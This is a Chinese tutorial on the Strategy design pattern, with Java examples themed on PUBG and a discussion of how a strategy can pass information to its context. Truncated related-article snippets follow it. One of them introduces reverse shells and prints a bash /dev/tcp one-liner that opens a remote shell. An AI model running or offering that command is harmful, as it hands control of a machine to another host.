设计模式七: 策略(Strategy)
简介
策略属于行为型模式的一种,策略模式允许对象的行为或算法在运行时改变,使用不同的算法达成相同的结果或目的.
实现层面上,定义一个抽象的算法接口, 然后根据具体算法的不同定义不同的类去实现该接口, 调用时不同实现的实例可以相互替换.
策略模式适用于多个类只有行为不同,运行时根据上下文决定使用哪种行为; 根据实际情况不同算法可能不同, 或算法的最优实现在未来确定.
意图
定义一系列算法,封装每个算法,并使它们可以互换。
类图

实现
以绝地求生游戏为例, 要想赢得最后的比赛可能由多种方式(策略), 抽象出 策略接口 WinStrategy, 实现策略 比如激进点的方式AlwaysKillWinStrategy,猥琐点的方式AlwaysHideWinStrategy.
下面我们将实现策略模式(一,二,三步), 并最后讨论更具实际意义的策略与上下文通信的两种方式及其各自利弊(四).
一. 定义策略接口
/**
* 赢得吃鸡的策略接口
*/
public interface WinStrategy {
void win();
}
二. 实现策略,使用两种不同的算法实现
/**
* 采用人挡杀人的模式
*/
public class AlwaysKillWinStrategy implements WinStrategy {
public void win() {
System.out.println("总是很钢,大杀四方");
}
}
/**
* 采用LYB的模式
*/
public class AlwaysHideWinStrategy implements WinStrategy {
public void win() {
System.out.println("总是很苟,活得长久");
}
}
三. 调用
public class StrategyTest {
public static void main(String[] args) {
WinStrategy iWillWin = new AlwaysHideWinStrategy();
iWillWin.win();
iWillWin = new AlwaysKillWinStrategy();
iWillWin.win();
}
}
四. 策略与上下文
上面的例子中我们并没有体现出上下文的概念, 其隐藏的上下文在main()函数中. 除了 策略接口 和 实现策略 外, 还需要一个 策略上下文 角色.一般由上下文持有策略的引用, 并对策略进行实际调用,下面的代码定义该角色
/**
* 上下文
*/
public class Context {
private String weather;
WinStrategy winStrategy;
public Context(String weather, WinStrategy winStrategy) {
this.weather = weather;
this.winStrategy = winStrategy;
}
public void winGame() {
winStrategy.win();
System.out.println("天气情况:"+this.weather+"; 采用的策略:"+winStrategy.getClass());
}
}
//调用
public class StrategyTest {
public static void main(String[] args) {
WinStrategy iWillWin = new AlwaysHideWinStrategy();
Context context = new Context("雾天",iWillWin);
context.winGame();
}
}
策略中有时候也需要某些上下文信息, 例如win()方法需要游戏场景中的天气情况, 这种情况下可以将上下文引用传入策略, 代码修改如下:
/**
* 赢得吃鸡的策略接口,上下文作为参数传入
*/
public interface WinStrategy {
void win(Context context);
}
/**
* 采用LYB的模式, 打印出天气情况
*/
public class AlwaysHideWinStrategy implements WinStrategy {
public void win(Context context) {
System.out.println("总是很苟,活得长久; 天气: "+context.getWeather());
}
}
/**
* 上下文
*/
@Data
public class Context {
private String weather;
WinStrategy winStrategy;
public Context(String weather, WinStrategy winStrategy) {
this.weather = weather;
this.winStrategy = winStrategy;
}
public void winGame() {
winStrategy.win(this);
System.out.println("天气情况:"+this.weather+"; 采用的策略"+winStrategy.getClass());
}
}
上面通过将上下文引用作为参数传递给策略来实现了策略与上下文的通信, 对于不同策略的实现,未必都会用到上下文中的全部信息, 这种情况下传递上下文引用成为了一种"浪费". 因此有的人更愿意将使用的信息作为属性定义在策略实现类中,实现更有针对性的代码
两种方式各有利弊, 传递上下文引用的方式利于扩展, 且可以做到风格统一, 但可能会导致"浪费", 如果扩展太多上下文子类不利于理解. 注入的方式实现在策略类中方式比较简单, 容易实现, 但也会导致策略与其他策略风格不一致.
/**
* 赢得吃鸡的策略接口
*/
public interface WinStrategy {
void win();
}
/**
* 采用人挡杀人的模式
*/
@AllArgsConstructor
public class AlwaysKillWinStrategy implements WinStrategy {
private String weather;
public void win() {
System.out.println("总是很钢,大杀四方"+" 天气:"+weather);
}
}
public class StrategyTest {
public static void main(String[] args) {
WinStrategy iWillWin = new AlwaysKillWinStrategy("雾天");
Context context = new Context("雾天",iWillWin);
context.winGame();
}
}
总结
优点: 1. 易于扩展;2.避免了if...else... 3. 代码重用
缺点: 调用方需要知道使用的哪种算法, 算法需要完全暴露; 可能会导致实现类过多;
设计模式七: 策略(Strategy)的更多相关文章
- C++设计模式实现--策略(Strategy)模式
版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/L_Andy/article/details/30489331 一. 举例说明 曾经做了一个程序,程序 ...
- Java设计模式之 — 策略(Strategy)
转载请注明出处:http://blog.csdn.net/guolin_blog/article/details/8986285 今天你的leader兴致冲冲地找到你,希望你可以帮他一个小忙,他现在急 ...
- Head First 设计模式 - 01. 策略 (Strategy) 模式
当涉及到"维护"时,为了"复用"目的而使用继承,结局并不完美 P4 对父类代码进行修改时,影响层面可能会很大 思考题 利用继承来提供 Duck 的行为,这会导致 ...
- 设计模式 策略-Strategy,装饰-Decorator,观察者-Observer
重温了Head First 3个设计模式.提炼一下思想,笔记如下. 策略-Strategy 当一个类或类族中重复实现某些同类的方法(behavior)时,考虑使用策略模式. 该模式是将Behavior ...
- 乐在其中设计模式(C#) - 策略模式(Strategy Pattern)
原文:乐在其中设计模式(C#) - 策略模式(Strategy Pattern) [索引页][源码下载] 乐在其中设计模式(C#) - 策略模式(Strategy Pattern) 作者:webabc ...
- 设计模式C++实现(1)——策略(Strategy)模式
目录 策略模式 应用案例 实现的关键 Talk is cheap,let's See The Code 设计思想 参考 策略模式 策略模式定义了一系列算法和行为(也就是策略),他们可以在运行时相互替换 ...
- Strategy Pattern ava设计模式之策略模式
简介 在策略模式(Strategy Pattern)中,一个类的行为或其算法可以在运行时更改.这种类型的设计模式属于行为型模式.简单理解就是一组算法,可以互换,再简单点策略就是封装算法. 意图 定义一 ...
- JAVA设计模式之策略模式 - Strategy
在策略模式(Strategy Pattern)中,一个类的行为或其算法可以在运行时更改.这种类型的设计模式属于行为型模式. 在策略模式中,我们创建表示各种策略的对象和一个行为随着策略对象改变而改变的 ...
- 设计模式之策略模式和状态模式(strategy pattern & state pattern)
本文来讲解一下两个结构比较相似的行为设计模式:策略模式和状态模式.两者单独的理解和学习都是比较直观简单的,但是实际使用的时候却并不好实践,算是易学难用的设计模式吧.这也是把两者放在一起介绍的原因,经过 ...
随机推荐
- [LeetCode] 6. Z 字形变换
题目链接:(https://leetcode-cn.com/problems/zigzag-conversion/) 题目描述: 将一个给定字符串根据给定的行数,以从上往下.从左到右进行 Z 字形排列 ...
- 12-tinyMCE文本编辑器+图片上传预览+页面倒计时自动跳转
文本编辑器插件:1.将tinymce文件夹全部复制到webContent下2.tinymce/js目录下放 jquery等三个js文件3.语言包:tinymce/js/tinymce/langs目录下 ...
- 嵌入式操作系统---打印函数(printf/sprintf)的实现
一.打印函数简介 作用:将“给定的内容”按照“指定的格式”输出到“指定目标内”. 打印函数的基本格式: char print_buf[BUF_SIZE]; void printf(const char ...
- 点击button自动刷新页面的奇葩错误
以前在写练习的时候遇到过这样一个问题,自己在html中写了一个button <button>test1</button> 在没有给其附上onclick事件时是点击是不会有任何反 ...
- CentOS-常用安装
JDK安装 1.检查jdk版本:java -version 2.检查jdk安装包:rpm -qa|grep java 3.将要安装的jdk的tar.gz包拖入,CRT快捷键ALT+P 4.解压到指定目 ...
- Python--day04(流程控制)
day03主要内容回顾 1.变量名命名规范 -- 1.只能由数字.字母 及 _ 组成 -- 2.不能以数字开头 -- 3.不能与系统关键字重名 -- 4._开头有特殊含义 -- 5.__开头__结尾的 ...
- yum设置本地源
创建本地源的文件要放入yum.repos.d目录下,名字随便取,但是后缀要求是.repo 1创建目录 mkdir -p /mnt/cdrom 2虚拟机挂载光盘 mount /dev/cdrom /mn ...
- mysql 5.7 json
项目中使用的mysql5.6数据库,数据库表一张表中存的字段为blob类型的json串数据.性能压测中涉及该json串处理效率比较低,开发人员提到mysql5.7版本后json串提供了原生态的json ...
- excel冻结标题栏,让标题栏不滚动的方法
https://jingyan.baidu.com/article/148a1921f54afe4d71c3b18e.html
- shell反射
一.介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二.使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ...